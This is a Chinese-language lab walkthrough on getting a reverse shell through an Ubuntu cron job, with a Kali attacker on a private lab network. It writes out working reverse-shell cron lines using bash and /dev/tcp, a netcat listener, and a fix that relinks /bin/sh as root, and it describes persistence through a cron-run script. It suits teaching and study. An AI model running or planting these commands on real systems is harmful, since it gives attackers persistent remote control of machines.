Ubuntu计划任务反弹shell
首先介绍一下实验环境
1.被攻击者:Ubuntu 192.168.0.8
2.攻击者:kali 192.168.0.127
首先第一步在Ubuntu系统下添加crontab 计划任务
* * * * * bash -i >& /etc/tcp/192.168.0.127/8888 0>&1
第二步在kali系统下使用nc命令监听8888端口
nc -lp 8888
nc -l 开启监听
nc - p 指定端口
可是等了半天我的Kali并没有成功收到shell
那么我们查看一下Ubuntu这边的日志,看看问题出在哪里
tail -f /var/log/syslog
可以看到这边日志给出的错误信息是 No MTA installed,discarding output
经过kakaxi 和 ttgo2 两位老师的老师的指导,知道这句话的意思是
Ubuntu系统默认会将计划任务的错误信息以邮件的方式发送给用户,但是由于Ubuntu系统默认没有安装邮件系统,所以真正的报错信息并不是No MTA installed,discarding output这句话
想看到真正的报错信息有两种解决办法:
1.安装邮件系统
2.将计划任务的错误信息输出到一个文件内
这里我们介绍第2种方法:
首先我们去修改一下计划任务
crontab -e
* * * * * bash -i '>& /dev/tcp/192.168.0.127/8888 0>&1'>/tmp/error.txt 2>&1
然后我们过一分钟去文件error.txt查看报错信息
这条错误的意思说/bin/bash没有被找到,通过错误信息还可以明白一件事情,那就是linux里面的cron中command执行的shell环境是/bin/sh,那我们可以再来看一下ubuntu下的/bin/sh文件究极是一个怎么样的文件
ls -l | grep -w “sh”
可以看到/bin/sh 文件实际上是一个软链接文件,他指向的是dash这个shell
而实际上dash这个shell只有运行脚本的能力,而没有交互能力。
这里我们只需要将修改sh的软链接为bash即可
ln - s -f bash /bin/sh
这里需要注意:普通用户是没有权限修改之前的软链接的,在这里我们需要提升到root权限
用到的命令是sudo -i 然后输入自己普通账号的密码即可。
此时我们已经将/bin/sh的软链接成功修改为bash
解决完这个问题之后我们再回到任务计划里,重新书写任务计划(注意:反弹shell依然需要root权限)
最后我们观察kali系统,发现已经成功反弹回shell
总结一下:Ubuntu下计划任务反弹shell需要注意的事项
1.需要用root权限书写计划
2.书写crontab计划的时候要将/bin/sh 软链接到 /bin/bash
当然我们也可以不修改/bin/sh的软链接
直接将反弹shell的语句写入脚本,然后crontab任务定时执行脚本就可以
具体操作如下
先将/bin/sh的链接修改为/bin/dash
然后我在/var目录下创建了一个脚本cronshell,并赋予它执行权限
之后修改计划任务
kali退出shell并重新监听8888端口
实验成功